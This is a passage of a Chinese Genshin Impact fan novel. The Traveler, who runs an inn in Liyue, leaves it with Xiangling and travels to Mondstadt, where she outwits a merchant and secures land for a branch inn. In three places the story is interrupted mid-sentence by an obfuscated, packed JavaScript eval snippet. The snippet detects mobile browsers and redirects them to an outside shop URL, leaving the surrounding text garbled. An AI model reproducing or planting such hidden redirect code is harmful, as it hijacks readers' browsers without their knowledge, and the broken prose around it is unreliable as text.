荧："当然。正好我也想出去走走。" 她跟派蒙说了一声，带上水桶，跟着钟离出发。 两人沿着望舒客栈后山的小路往上爬。 钟离边走边说："此处山泉源自轻策山脉，泉水清冽甘甜，用来泡茶最佳。" 派蒙飘在后面："爬山好累啊！" 钟离："璃月的地形多山，山泉遍布各处。但水质各有不同，此处这一脉因地层矿物构成特殊，水质尤为优良。" 派蒙："钟离先生，你怎么知道这么多？" 钟离："游历所得。" 荧听着钟离讲解，心里想：这位帝君对璃月的了解真是细致入微。 走了一会儿，前面突然窜出一只大型冰史莱姆。 派蒙吓了一跳："史莱姆！" 荧正要动手，钟离抬手，一道岩柱拔地而起，直接把史莱姆顶飞了。 荧："厉害。" 钟离："小事。" 又走了一段路，钟离突然停下。 "到了。" 前方是一处山崖，崖壁上有一股清泉流出，汇成一个小水潭。 荧走近一看，泉水清澈见底，确实比客栈现在用的水干净多了。 她舀了一点尝了尝，甘甜清冽。 荧："这水真好。" 钟离点头："此水泡茶，能将茶香完全激发。" 派蒙："那我们快装水吧！" 荧拿出带来的水桶，开始装水。 装了两桶，荧擦了擦汗："钟离先生，这水以后我可以常来取吗？" 钟离："自然可以。此处无人管辖，取用无妨。" 荧："那太好了。这样茶的品质能提升不少。" 她心里盘算：水质好了，茶更好喝，客人满意度提升，回头客就多了。 钟离看着她，微笑："荧掌柜对客栈经营很用心。" 荧："没办法，欠了30万，不用心不行。" 钟离："对了，最近送仙典仪的筹备很忙，我可能要在璃月港多待一段时间。" 荧抓住机会："说起这个，钟离先生，我有件事想跟您说。" 钟离："请讲。" 荧："我打算去蒙德开个分店。" 钟离："蒙德？" 荧："对。我之前在蒙德认识一些朋友，而且听说清泉镇那边商机不错。我想去考察一下，如果合适就开个分店。" 钟离思索片刻："很好的决定。商人应该把握机会，拓展业务。" 荧："您觉得可行？" 钟离看着她，眼神意味深长："璃月与蒙德各有特色，多一处生意，多一条路。荧掌柜深谋远虑。" 荧总觉得钟离话里有话，但也不敢多问。 她心里：这老头是不是知道我想跑路？ 钟离又说："不过望舒客栈这边如何安排？" 荧："我打算委托香菱暂时管理。她人靠谱，而且对餐饮很熟。" 钟离点头："香菱确实是个不错的选择。" 两人提着水桶下山。 路上钟离又说："若是去蒙德，路上注意安全。虽然两国交好，但路途遥远，还需小心。" 荧："我会的。谢谢钟离先生。" 回到客栈，荧把水桶放好，转身去找魈。 她在客栈周围转了一圈，没看到魈。 荧对着空气喊："魈大人，在吗？" 几秒后，魈出现在平台上。 "何事？" 荧："魈大人，我想跟您说件事。" 魈："说。" 荧："我打算去蒙德一段时间，开个分店。" 魈看着她，没说话。 荧继续说："最近璃月港气氛太紧张了，我怕被卷进什么麻烦。所以想先去蒙德避一避。" 魈沉默了几秒："你是凡人，离开也好。" 荧："您不反对？" 魈："璃月接下来会有些波澜。你离开反而安全。" 荧松了口气："那客栈这边怎么办？" 魈："我会看着。" 荧一愣："您会看着客栈？" 魈："你帮过我。这点小事不算什么。" 荧心里一暖："谢谢魈大人。" 魈："路上小心。璃月的事不会波及蒙德，但途中注意安全。" 说完，魈消失了。 荧回到客栈，开始准备去蒙德的事。 首先得找人管理客栈。 她去厨房找香菱。 香菱正在研发新菜，锅巴在旁边打转。 荧："香菱，有空吗？" 香菱抬头："荧姐！怎么了？" 荧："我想去蒙德一段时间，客栈这边能不能麻烦你帮忙管理？" 香菱眼睛一亮："我当店长？！" 锅巴："呜嘟嘟！" 荧："对。我大概要去半个月到一个月。这段时间客栈就拜托你了。" 香菱："没问题！包在我身上！" 她兴奋得跳起来："我终于可以当店长了！" 荧："别高兴太早，我得先教你怎么管理。" 她拿出账本："首先是记账。每笔收入支出都要记清楚。记得用我给你的这个记账本，按钟离先生教的方法记，分食材、人工、杂费三类，别混在一起。" 香菱认真点头："好！我记菜谱也很仔细的！" 荧："希望你别把摩拉当食材记。" 香菱："我不会的！" 荧又说："然后是管理丘丘人。二号机、三号机、四号机、五号机、六号机，以后都听你指挥。" 几只丘丘人走过来："呀！" 香菱有点紧张："它们会不会把我当食材研究？" 荧："是你把它们当食材研究吧。" 香菱不好意思地笑了。 荧拿出一个钱袋："这是2万摩拉备用金，用于客栈日常开销。食材、维修、工资什么的，都从这里出。" 香菱接过钱袋，沉甸甸的："好重！这么多钱！" 锅巴眼睛发光，盯着钱袋。 荧："锅巴，这不是食材。" 锅巴："呜嘟！" 荧又交代："客房定价700摩拉一晚，含早餐。茶水免费。记得每天打扫卫生。" 香菱拿出小本子记："700摩拉，含早餐，茶水免费，打扫卫生。" 荧："如果出什么紧急情况，去找魈大人或者钟离先生。" 香菱："魈大人会不会嫌我烦？" 荧："你只要不在他面前研发新菜就行。" 香菱："好吧。" 荧想了想，又说："对了，千万别炸厨房。" 香菱："我保证！上次只是意外！" 荧看着兴奋的香菱和锅巴，突然有点担心。 派蒙飘过来："荧，你脸色怎么这么难看？" 荧："希望我回来的时候客栈还在。" 香菱："荧姐你放心！我一定把客栈管理得很好！" 锅巴："呜嘟嘟！" 荧叹气："行吧。那就拜托你了。" 隔天，荧开始准备出发。 她收拾了简单的行李，带上路费。 初号机背着大包小包。 派蒙："荧，我们真的要带初号机去吗？" 荧："当然。它是我最得力的员工，而且去蒙德考察，需要它帮忙。" 初号机："呀呀。"（交给我。） 荧又检查了一遍：钱带够了，工会证带了，客栈交接清楚了。 准备妥当。 香菱和锅巴在门口送行。 香菱："荧姐一路平安！" 锅巴："呜嘟嘟！" 荧："客栈就拜托你了。记得记账。" 香菱："放心！" 荧带着派蒙和初号机出发了。 从望舒客栈到蒙德，路途不近。 但荧不着急，反正就是去避风头。 走了几天，路上遇到几只小魔物。初号机随手就收拾了，还顺带捡了些史莱姆凝液，刚好能留着做甜品。 终于到了蒙德境内。 派蒙兴奋地说："好久没回蒙德了！" 荧："是啊。上次来还是好几个月前了。" 她心里：上次来是原身，现在是我了。 初号机好奇地看着周围。 蒙德的风景和璃月完全不同，到处是草原和风车。 荧："初号机，这就是蒙德，风的国度。" 初号机："呀。"（好多风。） ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061564|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三人继续往蒙德城走。 远远看到城门，门口有两个守卫。 守卫看到他们，先是正常打招呼："欢迎来到蒙德。" 然后看到初号机，愣住了。 "这是丘丘人？！" 荧拿出工会证："这是我的员工，有璃月的工会证。" 守卫接过工会证看了看，确认无误。 但还是很惊讶："璃月现在连丘丘人都能办工会证了？" 荧："对。它很乖的。" 初号机乖巧地点头："呀。" 守卫犹豫了一下："那行吧。不过进城后不要惹事。" 荧："放心。" 三人进城。 蒙德城还是老样子，到处都是悠闲的气氛。 和璃月紧张的氛围完全不同。 荧心里松了口气：果然来对地方了。 派蒙："我们先去哪？" 荧："先找个地方住下，然后去见见老朋友。" 她刚说完，就听到一个熟悉的声音。 "哟，这不是旅行者吗？" 荧转头，凯亚正站在街角，一脸笑意。 凯亚走过来："好久不见！没想到你会回蒙德。" 荧："凯亚，好久不见。" 凯亚看了看初号机："你现在连丘丘人都收编了？" 荧："这是我的员工。我在璃月开了个客栈。" 凯亚："开客栈了？看来你在璃月混得不错啊。" 荧叹气："欠了30万。" 凯亚沉默了几秒。 他憋着笑："那你还挺厉害的，能欠这么多。" 荧："唉，说来话长。" 凯亚："所以你这次回蒙德是？" 荧："想在清泉镇开个分店，过来考察一下。" 凯亚："清泉镇？那你得找迪卢克。清泉镇那边是他的地盘。" 荧："我知道。等安顿好就去找他。" 凯亚："需要我帮忙吗？" 荧："先帮我推荐个住的地方吧。" 凯亚："那去猫尾酒馆吧，楼上有客房。而且迪奥娜在那里，你可以顺便见见她。" 荧："好。" 三人跟着凯亚去猫尾酒馆。 路上遇到芭芭拉在广场唱歌。 芭芭拉看到荧，惊喜地跑过来："荧！你回来了！" 她热情地抱住荧。 荧："芭芭拉，好久不见。" 芭芭拉："你去璃月好久了！大家都想你！" 然后她看到初号机，有点害怕："这是什么？" 荧："我的员工，很乖的。" 初号机："呀。" 芭芭拉松了口气："原来是员工。你现在在璃月做什么？" 荧："开客栈。" 芭芭拉："哇，好厉害！" 荧："谢谢。" 告别芭芭拉，继续往猫尾酒馆走。 到了酒馆，迪奥娜正在吧台调酒。 看到荧进来，她抬头："荧？你回蒙德了？" 荧："嗯。过来办点事。" 迪奥娜看到初号机，警惕地说："你带丘丘人来蒙德？不会有危险吧？" 荧："它是我的员工，有工会证的。" 迪奥娜："工会证？" 荧拿出工会证给她看："嗯，璃月千岩军审核发的，正规合法。" 迪奥娜看了看："璃月现在管得这么宽？丘丘人都能□□？" 荧："对。它受过培训，很听话。" 初号机站得笔直，认真点头："呀。" 迪奥娜："行吧。不过别在酒馆惹事。" 荧："放心。对了，有空房间吗？" 迪奥娜："有。楼上还有几间。" 荧："那我要一间。" 迪奥娜："500摩拉一晚。" 荧："好。" 她付了钱，拿了钥匙。 凯亚："那我先走了。有事找我。" 荧："谢谢。" 凯亚离开后，荧带着派蒙和初号机上楼。 房间不大，但干净整洁。 派蒙："我们接下来做什么？" 荧："先休息一下，明天去找迪卢克。" 她坐在床上，拿出小本子，开始写计划。 19.蒙德之行（中） 次日一早，荧辞别迪奥娜，带着派蒙和初号机往蒙德城外走，打算去晨曦酒庄找迪卢克。酒庄离城区有段距离，沿着林间小路慢慢走，约莫要一刻钟的功夫。 路上迎面撞见可莉在湖边炸鱼，小姑娘看到荧，立刻丢下手里的东西，兴奋地跑过来："荧姐姐！" 荧："可莉！你又在炸鱼？" 可莉拍拍手上的灰："嘿嘿，今天天气好，适合炸鱼！" 说着，她的目光落在初号机身上，眼睛瞬间发亮，蹦蹦跳跳地凑过去："哇！好大的丘丘人！是新朋友吗？" 初号机被可莉的热情吓到，连忙躲在荧身后。 派蒙："它怕炸弹。" 可莉："别怕！我不炸你！" 她说着就掏出一颗蹦蹦炸弹晃了晃："你看，这是蹦蹦炸弹！很好玩的！" 初号机攥着荧的衣角，身子缩成一团，小声嘟囔："呀呀呀！" 荧赶紧按住可莉的手："可莉，别吓它。" 可莉乖乖收起炸弹："好吧！" 这时迪奥娜从湖边的树后走过来，无奈道："可莉，你又在炸鱼？小心琴团长抓你去禁闭室。" 可莉："迪奥娜姐姐也来了！" 迪奥娜："琴团长让我看着你，免得你又炸坏什么东西。" 荧："你们俩这是组队看湖呢？" 迪奥娜耸耸肩："算是吧。" 可莉："我很小心的！绝对不会炸到鱼以外的东西！" 荧笑着摇摇头："那你们继续，我还要去找迪卢克。" 可莉立刻摆手："迪卢克哥哥在酒庄里！荧姐姐快去吧！" 荧："嗯，我知道。" 和可莉、迪奥娜挥手道别后，荧带着两人一机继续沿着小路往酒庄走，路边的蒲公英被风卷着飘起，轻飘飘的，倒颇有蒙德独有的散漫风情。 走到酒庄葡萄园边，正看到迪卢克蹲在藤架旁检查果实，他听到脚步声，抬眼看来："回来了？" 荧："嗯，有点事想找你聊聊。" 迪卢克放下手里的剪刀，直起身淡淡道："说。" 荧："我想在清泉镇开个客栈分店，听说那边是你的地界，所以来问问你的意见。" 迪卢克挑眉看她："开客栈？" 荧："对。我现在在璃月经营望舒客栈，想着来蒙德拓展下生意。" 迪卢克思索片刻，点头道："清泉镇确实缺一家像样的客栈。那边往来旅客不少，但现有的住宿条件都太差。" 荧："我也觉得有商机。" 迪卢克："你打算怎么弄？" 荧："先实地考察下，看看合适的铺面和租金，要是合适就直接租下来。" 迪卢克："清泉镇那边我比较熟。明天我带你去看看。" 荧："太好了！谢谢。"迪卢克："不客气。" 荧谢过迪卢克，转身正要抬脚离开，身后突然传来一个熟悉的、带着几分散漫的声音："哎呀呀，旅行者！好久不见！" 荧抬头，就见温迪正坐在酒庄的矮墙头上晃着腿，手里还捏着一根狗尾巴草。 他一个翻身轻巧跳下来，落地时还俏皮地转了个圈："你回蒙德了！" 荧："温迪？你怎么在这？" 温迪眨眨眼，一脸无辜："我路过啊。" 迪卢克抱着胳膊站在一旁，冷冷拆台："他是来偷酒的。" 温迪双手一摊，理直气壮："怎么能说偷呢！这叫品鉴！艺术家需要灵感的滋养！" 迪卢克懒得和他废话，只一个字："滚。" 温迪立刻凑到荧身边，可怜巴巴地看着她："荧，请我喝一杯吧！" 荧："欠着 30 万呢，每一分都要省着花，哪敢乱请人喝酒。" 温迪："那我请你喝！" 荧上下打量他一圈，满脸不信："你有钱吗？" 温迪摸了摸口袋，掏出三个磨边的硬币，看了看又默默塞了回去，讪讪道："那还是你请我吧。" 荧："堂堂蒙德最..." 派蒙赶紧捂住荧的嘴，小声急道："荧你说什么呢！" 温迪笑眯眯地凑近，好奇道："嗯？蒙德最什么？" 荧推开派蒙的手，直言不讳："蒙德最穷的吟游诗人，连三杯酒钱都拿不出来。" 温迪摊手，一脸无所谓："诶，自由是无价的嘛。" 荧："自由不能当饭吃。" 温迪："但可以当酒喝啊。" 荧彻底无语。 迪卢克上前半步，挡开温迪："别理他。" 温迪："哎呀，别这么冷漠嘛！迪卢克老爷大气点！" 荧怕两人再拌嘴，赶紧打圆场："算了。那明天见，迪卢克。" 迪卢克颔首："明天早上在清泉镇路口等你。" 荧："好。" 谈妥了正事，荧便带着派蒙和初号机转身离开晨曦酒庄，往蒙德城的方向走。 温迪屁颠屁颠跟在后面，嘴里哼着不成调的小曲，走了几步突然问道："荧，你带丘丘人？"荧："我的员工。" 温迪凑上去，绕着初号机转了一圈，好奇道："哦～你在璃月开客栈了？生意做得这么大？" 荧："对。" 温迪立刻凑上来："那你一定很有钱！不如借我一点？应急用！" 荧斜眼看他，一脸戏谑："您老人家活了几千年，还找我一个欠着债的年轻人借钱？" 温迪愣了一下，随即笑得更欢："哎呀，年龄和财富可不成正比啊。" 荧："钱都拿去还债了，30 万。" 温迪吹了声口哨，一脸幸灾乐祸："听起来挺惨的。" 荧："提起来就心累。不像某位大人，自由自在，无债一身轻。" 温迪摊手："自由可是无价的宝藏。" 派蒙在一旁小声嘀咕："但不能还债。" 几人慢悠悠走回蒙德城，刚穿过城门，看着街上往来的行人和摆摊的小贩，荧突然想起一件要紧事。 她心里盘算：以后在蒙德开分店，大概率要招本地丘丘人，提前了解蒙德丘丘人的语言习惯，后续培训也能更方便。 她转头问身侧的温迪："温迪，蒙德有丘丘人语言研究协会吗？" 温迪："有啊，就在图书馆那边。你要去？" 荧："嗯，想去看看。" 温迪："那我带你去，包在我身上！" 说着，温迪便领着荧他们往图书馆的方向走。 几人刚走到图书馆门口，温迪突然抽了抽鼻子，像是闻到了什么诱人的味道，他撇撇嘴，趁荧不注意，偷偷溜到一边，嘴里还嘟囔着："先去尝口好酒，晚点再找你。" 荧转头看到他跑远的背影，无奈地摇头笑了笑，没理他。 走进图书馆，正看到丽莎靠在书架旁整理书籍，她抬眼看到荧，立刻笑着招手："哎呀，小可爱回来了？" 荧："丽莎姐，好久不见。" 丽莎："你去璃月好久了，怎么突然回蒙德了？" 荧："来办点事。对了丽莎姐，丘丘人语言研究协会在哪？" 丽莎："在图书馆二楼，你要去？"荧："嗯，我带了个丘丘人员工，想让协会的研究员看看。" 丽莎的目光落在初号机身上，挑了挑眉："哦～你现在连丘丘人都雇了？倒是有想法。" 荧："是啊，训练好了比人还靠谱。" 丽莎笑着指了指楼梯口："那上楼吧，那边有几个研究员正忙着呢。" 荧谢过丽莎，带着初号机抬脚往二楼走。 二楼角落有个小房间，门上挂着 "丘丘人语言研究协会" 的木牌。 荧抬手敲了敲门。 "请进。" 推门进去，房间里有三个研究员正埋着头研究资料，听到动静，其中一个戴眼镜的学者抬头看来："你好，有什么事吗？" 荧："我想咨询一下丘丘人语言的事。这是我的员工，它受过专业培训，能听懂一些人类语言。" 学者满脸不可自信，猛地站起来："真的？！" 他兴奋地走到初号机面前，语气激动："太好了！我们正愁没有活的研究对象呢，一直在研究丘丘人语言！" 初号机被他的热情吓到，往后退了一步，小声："呀。" 学者："它说 '' 呀'' 是什么意思？" 荧："大概率是害怕。" 学者："能让它说几句吗？我们记录一下！" 荧转头对初号机说："初号机，跟他们打个招呼。" 初号机迟疑了一下，小声道："呀呀。"（你好。） 学者立刻掏出小本子疯狂记录："'' 呀呀 '' 表示问候！首次记录到人工训练丘丘人的标准问候语！" 另一个学者也凑过来，满脸好奇："它真的能听懂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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初号机也凑在一旁看，时不时伸手比划，艾伦则在旁边记录初号机的观察行为。 "它在看什么？" 艾伦问。 荧："它在学习怎么选店铺位置。" 艾伦一脸震惊："丘丘人也会做生意？！" 荧："我教的。" 艾伦激动地在本子上写下："丘丘人具备学习商业知识的能力！人工训练可大幅提升丘丘人社会化程度！" 看完镇中心的位置，迪卢克又领着几人往镇外走，指了指另一处铺面："那边是镇外，租金比镇中心便宜一半，但人流量少，只有过路的旅人会经过。" 荧走到铺面旁看了看，又对比了一下镇中心的位置，心里顿时有数了。 镇中心的位置明显更好，虽说租金贵点，但客流量大，翻台率和入住率都有保障，薄利多销，回本肯定比镇外快得多。 她正低头在小本子上记录着两处位置的优劣，身边突然走来一个穿着讲究的中年男人 —— 他身着深色商人服，手上戴着精致的宝石戒指，眼神精明，走路时脊背挺直，带着商人特有的自信。 男人看到迪卢克，立刻露出得体的笑容，微微点头："迪卢克先生，好巧。" 迪卢克淡淡颔首："韦恩先生。" 韦恩的目光落在荧身上，上下打量了她一眼，语气带着几分试探："这位是？" 迪卢克："我朋友，也在考察清泉镇的店铺。" 韦恩笑了，笑容里带着几分意味深长："是吗？那看来，我们是竞争对手了。" 荧一愣："竞争对手？" 韦恩："我也在看这个镇中心的位置，地段好，生意肯定差不了。房东那边我已经打过招呼了，明天会给我最终答复。" 荧的表情微微一变，她又仔细看了看韦恩，这人举手投足间气度不凡，说话也滴水不漏，显然是个老练的商人。 韦恩似乎看出了荧的心思，双手背在身后，语气从容："不过嘛，生意场上讲究公平竞争。如果小姐也看中这个位置，明天我们可以一起见房东，价高者得。" 荧定了定神，平静地看着他："好。" 韦恩笑着点了点头，没再多说，转身便离开了。 20.蒙德之行（下） 荧带着派蒙和初号机来到约定地点。 艾伦也跟着，拿着他的记录本。 镇中心的店铺门口，韦恩已经在等着了。 他看到荧，笑着点头："小姐准时。" 荧："韦恩先生也是。" 不一会儿，房东来了。 是个中年男人，穿着普通，额头上有汗，手里攥着一串钥匙。走路时不时回头张望，像是怕被人看到。 房东擦了擦额头："两位都到了？那我们进去看看吧。" 他打开门，领着几人进店铺。 店铺不大，位置确实不错。 韦恩："房东，你昨天说的价格，还作数吗？" 房东："当然。月租1000摩拉。" 韦恩："我出1200摩拉，一次付清一年租金。" 荧算了算数字。1200月租，一年14400摩拉。 她正要开口，初号机突然"呀呀"地叫起来。 初号机指着墙壁，鼻子使劲闻。 艾伦："它怎么了？" 荧："初号机，发现什么了？" 初号机走到墙边，继续闻，然后转头看着荧："呀呀呀！" 艾伦激动地记录："它好像发现了什么！" 荧走过去，仔细看墙壁。 表面看起来正常，但初号机很激动。 荧："初号机说墙里有史莱姆的味道。" 房东的手抖了一下，钥匙差点掉在地上："这不可能！" 韦恩皱眉："小姐，丘丘人可能闻错了。" 荧："它的鼻子很灵。墙里有史莱姆，说明墙体有裂缝。" 这时，艾伦从背包里拿出一些奇怪的工具。 荧："艾伦，你带这些做什么？" 艾伦推了推眼镜："我虽主攻丘丘人语言研究，但早年在须弥 Akademiya 修过建筑学，出门习惯带工具。" 他对着墙壁测量，拿出尺子，又拿出小本子计算。 艾伦嘀咕："这个墙体厚度，承重结构的角度，地基沉降的迹象。" 他越算越兴奋："根据蒙德建筑规范，这个店铺的地基沉降角度已经超过安全值！而且承重墙的裂缝分布符合长期渗水的特征！" 房东脸涨得通红，手指颤抖地指着艾伦："够了够了！你这个学者别乱说！" 韦恩脸色有点难看："房东，这店铺是不是有问题？" 房东擦了擦汗："小问题，小问题而已。" 荧心里冷笑：果然有问题。 这时，派蒙飘到窗边往外看。 派蒙突然说："咦？那个人不是刚才在街角和房东说话的吗？" 荧："哪个？" 派蒙："就那个穿灰色衣服的！我刚才看到他给了房东一袋东西，两个人鬼鬼祟祟的！" 房东的额头冒出更多汗珠，眼神躲闪："你看错了！" 韦恩："房东，这是怎么回事？" 房东支支吾吾："没什么。" 荧看了看韦恩，又看了看房东。 派蒙说的那个人，应该就是韦恩的手下。一袋东西，多半是贿赂的钱。 荧开始仔细观察店铺的其他细节。 墙角有修补的痕迹，地板有些不平，天花板有水渍。 这些都是建筑隐患的迹象。 她又想起昨天在街上听到有人议论，说这个店铺扩建时占了邻居的地，还在打官司。 荧看了看韦恩。 韦恩似乎很着急要拿下这个店铺，连贿赂都用上了。 他知不知道产权问题？ 建筑隐患、产权纠纷、韦恩贿赂、闹鬼谣言。 荧深吸一口气："抱歉，我需要再考虑考虑。" 韦恩一愣："小姐不出价了？" 荧："我需要回去核实一些信息。" 韦恩："小姐多虑了。这个店铺很好的。" 荧微笑:"谢谢韦恩先生，但我还是想慎重一点。" 她带着派蒙和初号机离开了。 艾伦跟在后面，还在记录："荧小姐的决策能力很强！在信息不完整的情况下，选择退出是最理性的选择！" 派蒙："荧，你真的不要那个店铺了？" 荧："太多问题了。不值得。" 派蒙："那我们怎么办？" 荧："先回去。我有事要办。" 下午，荧单独去找韦恩。 她打听到韦恩住在清泉镇的一家旅馆。 荧敲门。 韦恩开门，看到荧，有些意外："小姐？有事吗？" 荧："韦恩先生，我们谈谈。" 韦恩让荧进来，倒了杯茶。 韦恩："小姐改主意了？想租那个店铺？" 荧坐下，端起茶杯："不。我来是想和韦恩先生聊聊别的事。" 韦恩："什么事？" 荧喝了口茶："韦恩先生，我听说最近清泉镇有人散布谣言，说那个店铺闹鬼。" 韦恩脸色微变："哦？有这种事？" 荧："是啊。很巧，谣言出现的时间，正好是韦恩先生来清泉镇的时候。" 韦恩："小姐这是什么意思？" 荧："韦恩先生散布闹鬼谣言，是想吓退竞争对手，同时向房东压价。对吗？" 韦恩沉默了几秒："小姐很聪明。" 荧："而且，今天派蒙看到的那个人，是韦恩先生的手下吧？贿赂房东的钱，也是韦恩先生给的。" 韦恩放下茶杯："小姐想说什么？" 荧："我只是想告诉韦恩先生，那个店铺问题太多了。建筑有隐患，艾伦刚才说得很清楚了。" 韦恩笑了："多谢小姐提醒。不过我自有办法处理。" 荧："韦恩先生确定吗？建筑隐患还好说，但产权纠纷可就麻烦了。" 韦恩脸色微变："产权纠纷？" 荧放下茶杯，笑着看他："韦恩先生不知道？" 韦恩："小姐什么意思？" 荧："那个店铺之前扩建过，占了邻居的地。邻居现在还在打官司，产权纠纷一直没解决。" 韦恩的表情变了："你确定？" 荧："我昨天特意打听过。清泉镇就这么大，什么事瞒不住。韦恩先生没调查清楚就急着出手？" 韦恩沉默了。 他脸色越来越难看。 荧："看来韦恩先生也被房东骗了。散布谣言、贿赂房东，花了不少力气吧？结果拿到的是个有产权纠纷的店铺。" 韦恩深吸一口气："小姐，这个消息准确吗？" 荧："我可以告诉韦恩先生详细情况。邻居是谁，官司打到哪一步了，预计什么时候能解决。" 韦恩看着她："小姐想要什么？" 荧："两件事。第一，韦恩先生散布谣言，影响了我的考察。这个损失该补偿。第二，这个产权信息对韦恩先生很有用，也值点钱。" 韦恩："小姐想要多少？" 荧："不多。5000摩拉。" 韦恩沉默了几秒。 他在权衡。 如果不知道产权详情就租下店铺，以后麻烦更大。 5000摩拉买个详细信息，还算值。 韦恩："好。但小姐得把所有信息都告诉我。" 荧："当然。" 她喝了口茶："邻居叫弗雷德，是个老木匠。扩建占了他家三平方米的地。他已经向西风骑士团提起诉讼，现在在等开庭。按蒙德的法律，这种案子至少要半年才能判下来。" 韦恩："如果我租了，会受影响吗？" 荧："会。如果弗雷德赢了官司，店铺要么拆掉扩建部分，要么赔偿弗雷德。租客也会被卷进去。" 韦恩："那我确实不能租了。" 荧："所以这个信息对韦恩先生很有价值。" 韦恩："小姐，5000摩拉可不是小数目。" 荧微笑："我知道。但比起韦恩先生背后的愚人众，5000摩拉应该不算什么。" 韦恩手里的茶杯顿了一下，茶水溅出几滴，他指尖飞快擦过桌面水渍，脸色骤沉："你说什么？" 荧平静地看着他："韦恩先生，你以为我不知道吗？能在蒙德和璃月之间自由往来，手笔这么大，背后没有势力支持？" 韦恩："小姐怎么知道？" 荧："我在璃月开客栈，见过不少愚人众的人。韦恩先生的做事风格，和他们很像。" 韦恩沉默了很久。 最后他叹气："小姐果然不简单。" 他从抽屉里拿出一个钱袋，放在桌上。 韦恩："5000摩拉。拿去吧。" 荧接过钱袋，掂了掂，确认无误。 荧站起来："谢谢韦恩先生的慷慨。大家都是混口饭吃，我不会把这事说出去的。" 韦恩苦笑："多谢小姐。" 荧："但韦恩先生，下次做生意，最好干净一点。蒙德不是璃月，这边的人不喜欢这些手段。" 韦恩点头："我记住了。" 荧离开旅馆，心情不错。 5000摩拉到手，虽然没拿到店铺，但也算有收获。 她回到猫尾酒馆，派蒙和初号机在房间里等她。 派蒙："荧，你去哪了？" 荧："去找韦恩谈了谈。" 派蒙："谈什么？" 荧拿出钱袋："谈了5000摩拉的补偿。" 派蒙眼睛发亮："哇！怎么拿到的？" 荧："韦恩散布谣言，影响了我的考察。我找他要补偿，他给了。" 派蒙："荧你好厉害！" 荧："基本操作。" 正说着，窗外传来熟悉的声音。 "哟，旅行者，心情不错嘛。" 荧抬头，温迪坐在窗台上，笑眯眯地看着她。 荧："温迪？你怎么在这？" 温迪跳进房间："我路过啊。听说你今天谈判失败了？" 荧:"你怎么知道？" 温迪眨眨眼："风告诉我的。" 荧："风？" 温迪："对啊。风什么都知道。" 派蒙："温迪你又在装神秘了！" 温迪笑了笑："好吧好吧。其实我今天在清泉镇附近，听到一些传言。" 荧："什么传言？" 温迪："说有个璃月来的年轻老板娘，和韦恩竞争店铺，结果放弃了。" 荧："消息传得挺快。" 温迪坐在椅子上，翘着腿："不过我倒是知道一个更好的地方。" 荧一愣："什么地方？" 温迪："你不是要在清泉镇开客栈吗？镇中心那个位置确实不错，但也不是唯一的选择。" 荧："你说的更好的地方是？" 温迪："清泉镇入口，往蒙德城的主路上。那边有块空地，位置其实比镇中心还好。" 荧："主路上？" 温迪："对。风起地、达达乌帕谷、清泉镇三个地方的交汇处。路过的旅客比镇中心多得多。" 荧："为什么没人用那块地？" 温迪："因为那边是西风骑士团的地，需要申请才能用。而且周围没有居民，要自己建房子。" 荧："自己建？" 温迪："对。不过好处是，土地金很便宜。一年才1000摩拉。" 荧想了想。 镇中心店铺月租1000摩拉，一年12000，还有建筑隐患和产权纠纷。 温迪说的地方年租金1000摩拉，需要自建，但长期来看更划算。 而且位置在主路上，客流量不会差。 荧："温迪，你怎么知道这些？" 温迪笑了笑："我在蒙德住了很久，对这边很熟。" 荧："那块地现在可以申请吗？" 温迪："可以啊。去西风骑士团递个申请就行。" 荧："好。带我去看看那块地吧。" 温迪："走！" 几人跟着温迪出了蒙德城，往清泉镇方向走。 到了主路上，温迪指着路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070006|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边一块空地："就是这里。" 荧仔细观察。 空地很大，地势平坦，位置在主路边。往左是清泉镇，往右是蒙德城，旁边能看到风起地和达达乌帕谷。 温迪说得对，这是个三岔路口。 荧拿出小本子记录。 地理位置：优 客流量：高 租金：低（年1000摩拉） 缺点：需要自建 初期投入：中等 长期回报：高 她算了算手上的钱。韦恩给的5000加上自己的，扣掉这几天花的，还剩2万4左右。 建房成本要控制住。 荧："温迪，这块地我要了。" 温迪："那就去西风骑士团申请吧。" 几人回到蒙德城。 温迪带荧去西风骑士团办土地申请。 年轻骑士看了看表格："清泉镇主路那块地？可以。一年1000摩拉。" 荧付了钱，拿到土地使用证明。 离开西风骑士团，温迪说："需要我介绍建筑工人吗？" 艾伦突然说："荧小姐，我可以帮忙设计客栈！" 荧一愣："设计？" 艾伦推了推眼镜："我在须弥Akademiya学过建筑学，设计个两层小客栈不难。而且您让我研究初号机，我也想帮点忙。" 荧："那太好了。设计费多少？" 艾伦："不用钱！能研究丘丘人语言已经很感激了。而且这是个好机会，我可以设计一个适合丘丘人员工工作的建筑！" 荧："那就麻烦你了。" 艾伦激动地拿出纸笔："我先画个草图！两层楼，十个房间，一个大堂，一个厨房对吧？" 荧："对。大堂要宽敞一点，厨房要通风。" 